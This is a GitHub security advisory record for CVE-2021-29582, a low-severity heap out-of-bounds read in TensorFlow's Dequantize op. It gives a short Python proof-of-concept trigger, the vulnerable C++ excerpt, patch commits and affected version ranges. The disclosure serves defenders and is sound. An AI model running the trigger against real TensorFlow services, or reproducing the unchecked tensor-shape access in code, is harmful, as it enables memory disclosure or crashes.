GHSA-C45W-2WXR-PP53
Vulnerability from github – Published: 2021-05-21 14:26 – Updated: 2024-11-01 17:14Impact
Due to lack of validation in tf.raw_ops.Dequantize, an attacker can trigger a read from outside of bounds of heap allocated data:
import tensorflow as tf
input_tensor=tf.constant(
[75, 75, 75, 75, -6, -9, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\
-10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\
-10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\
-10, -10, -10, -10], shape=[5, 10], dtype=tf.int32)
input_tensor=tf.cast(input_tensor, dtype=tf.quint8)
min_range = tf.constant([-10], shape=[1], dtype=tf.float32)
max_range = tf.constant([24, 758, 758, 758, 758], shape=[5], dtype=tf.float32)
tf.raw_ops.Dequantize(
input=input_tensor, min_range=min_range, max_range=max_range, mode='SCALED',
narrow_range=True, axis=0, dtype=tf.dtypes.float32)
The implementation accesses the min_range and max_range tensors in parallel but fails to check that they have the same shape:
if (num_slices == 1) {
const float min_range = input_min_tensor.flat<float>()(0);
const float max_range = input_max_tensor.flat<float>()(0);
DequantizeTensor(ctx, input, min_range, max_range, &float_output);
} else {
...
auto min_ranges = input_min_tensor.vec<float>();
auto max_ranges = input_max_tensor.vec<float>();
for (int i = 0; i < num_slices; ++i) {
DequantizeSlice(ctx->eigen_device<Device>(), ctx,
input_tensor.template chip<1>(i), min_ranges(i),
max_ranges(i), output_tensor.template chip<1>(i));
...
}
}
Patches
We have patched the issue in GitHub commit 5899741d0421391ca878da47907b1452f06aaf1b.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.3.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.4.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.3.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.4.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.3.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-29582"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-18T17:47:11Z",
"nvd_published_at": "2021-05-14T20:15:00Z",
"severity": "LOW"
},
"details": "### Impact\nDue to lack of validation in `tf.raw_ops.Dequantize`, an attacker can trigger a read from outside of bounds of heap allocated data:\n\n```python\nimport tensorflow as tf\n\ninput_tensor=tf.constant(\n [75, 75, 75, 75, -6, -9, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\\\n -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\\\n -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\\\n -10, -10, -10, -10], shape=[5, 10], dtype=tf.int32)\ninput_tensor=tf.cast(input_tensor, dtype=tf.quint8)\nmin_range = tf.constant([-10], shape=[1], dtype=tf.float32)\nmax_range = tf.constant([24, 758, 758, 758, 758], shape=[5], dtype=tf.float32)\n \ntf.raw_ops.Dequantize( \n input=input_tensor, min_range=min_range, max_range=max_range, mode=\u0027SCALED\u0027,\n narrow_range=True, axis=0, dtype=tf.dtypes.float32)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/26003593aa94b1742f34dc22ce88a1e17776a67d/tensorflow/core/kernels/dequantize_op.cc#L106-L131) accesses the `min_range` and `max_range` tensors in parallel but fails to check that they have the same shape:\n\n```cc\nif (num_slices == 1) {\n const float min_range = input_min_tensor.flat\u003cfloat\u003e()(0);\n const float max_range = input_max_tensor.flat\u003cfloat\u003e()(0);\n DequantizeTensor(ctx, input, min_range, max_range, \u0026float_output);\n} else {\n ...\n auto min_ranges = input_min_tensor.vec\u003cfloat\u003e();\n auto max_ranges = input_max_tensor.vec\u003cfloat\u003e();\n for (int i = 0; i \u003c num_slices; ++i) {\n DequantizeSlice(ctx-\u003eeigen_device\u003cDevice\u003e(), ctx,\n input_tensor.template chip\u003c1\u003e(i), min_ranges(i),\n max_ranges(i), output_tensor.template chip\u003c1\u003e(i));\n ...\n }\n}\n```\n\n### Patches\nWe have patched the issue in GitHub commit [5899741d0421391ca878da47907b1452f06aaf1b](https://github.com/tensorflow/tensorflow/commit/5899741d0421391ca878da47907b1452f06aaf1b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.",
"id": "GHSA-c45w-2wxr-pp53",
"modified": "2024-11-01T17:14:26Z",
"published": "2021-05-21T14:26:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-c45w-2wxr-pp53"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29582"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/commit/5899741d0421391ca878da47907b1452f06aaf1b"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-510.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-708.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-219.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/tensorflow/tensorflow"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Heap OOB read in `tf.raw_ops.Dequantize`"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.